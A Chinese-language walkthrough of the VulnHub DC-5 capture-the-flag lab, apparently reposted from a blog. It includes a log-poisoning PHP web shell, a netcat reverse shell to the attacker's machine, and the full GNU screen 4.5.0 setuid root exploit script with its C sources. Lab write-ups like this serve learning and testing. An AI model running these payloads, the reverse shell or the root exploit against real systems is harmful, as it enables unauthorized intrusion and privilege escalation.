VulnHub通关日记-DC_5-Walkthrough

靶机介绍

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

靶机地址:DC: 5 ~ VulnHub

学习到的知识

LFI(本地文件包含)日志获取shell
wfuzz工具的使用
screen提权root

信息搜集

拿到 IP 先扫描端口开放服务:

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nmap -A -T 4 192.168.1.144

它这边只开放了 80(http)和 111(RPC)两个端口服务!

RPC 他是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解rpc就是一个中介服务。

我们先来到 WEB 端,但是没有什么可利用点,只有一个表单提交的地方:

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http://192.168.1.144/contact.php

我随便提交了一些内容,发现了它会被提交到 thankyou.php 这个文件:

LFI本地文件包含获取shell

看上去有点像 LFI(本地文件包含)漏洞,紧接着我用 KALI 自带的 wfuz 工具对它一顿FUZZ梭哈:

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wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z

由于FUZZ出来的参数太多了!而且好多都没有,我两眼一迷的仔细找到了一个参数:

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http://192.168.1.144/thankyou.php?file=/etc/mysql/my.cnf

打开后我发现它可以读取系统文件:

这个时候确定了它存在本地文件包含!那么我继续用 wfuzz 缩小我们得到的参数范围:

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wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt --hh 851,835 http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z
--h 是过滤Chars

这样我们就成功的得到一些可利用的参数:

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arget: http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z
Total requests: 2568

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                    
===================================================================

000001714:   200        44 L     68 W     861 Ch      "file - /etc/issue"                                                                                                                        
000001715:   200        49 L     103 W    1121 Ch     "file - /etc/motd"                                                                                                                         
000001716:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"                                                                                                                       
000001717:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"                                                                                                                       
000001719:   200        96 L     117 W    1558 Ch     "file - /etc/group"                                                                                                                        
000001833:   500        38 L     58 W     786 Ch      "file - /etc/php5/apache2/php.ini"                                                                                                         
000001844:   500        38 L     58 W     786 Ch      "file - /etc/php5/cgi/php.ini"                                                                                                             
000001872:   200        170 L    590 W    4368 Ch     "file - /etc/mysql/my.cnf"                                                                                                                 
000001926:   200        65662    871324   9389548 C   "file - /var/log/nginx/access.log"        

随后我发现了它的一个日志文件里有我们的请求记录:

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http://192.168.1.144/thankyou.php?file=/var/log/nginx/access.log

既然日志能记录我们的操作,那么我们就写入一句话到日志文件里吧:

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http://192.168.1.144/thankyou.php?file=<?php system($_GET['saul']) ?>

(温馨提示:到这里我靶机重启了一下,所以 IP 变了)

接下来然后用日志文件去执行命令 ls

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http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=ls

成功执行命令!那么我就用 nc 反弹一个shell回来吧!先是 KALI nc 监听 5555 端口,然后访问得到一枚 shell

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http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=nc -e /bin/bash 192.168.1.128 5555

得到 shell 以后我用 python 切换到 bash

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python -c 'import pty;pty.spawn("/bin/bash")'

权限提升

之后我查找 SUID 权限的文件发现了 screen :

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find / -perm /4000 2>/dev/null

紧接着我又去搜索了一下关于 screen 的漏洞,找到了一个提权 poc

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#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

接着我按照上面的 POC 创建了 libhax.crootshell.c 文件,文件内容是:

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root@kali:~# cat libhax.c 
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}


root@kali:~# cat rootshell.c 
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

随后用 gcc 编译他们:

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gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

编译完后我用 nc 把刚刚编译好的文件传到目标服务器上:

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KALI:
nc -nlvp 7777 < libhax.so
nc -nlvp 7777 < rootshell

靶机:
nc 192.168.1.128 7777 > libhax.so
nc 192.168.1.128 7777 > rootshell

最后按照 POC 上面的步骤依次输入命令提权为 root

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cd /etc

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umask 000 

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screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

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screen -ls

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/tmp/rootshell

最终也是在 /root 目录下拿到了 Flag

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转载自blog.csdn.net/qq_36304918/article/details/124708023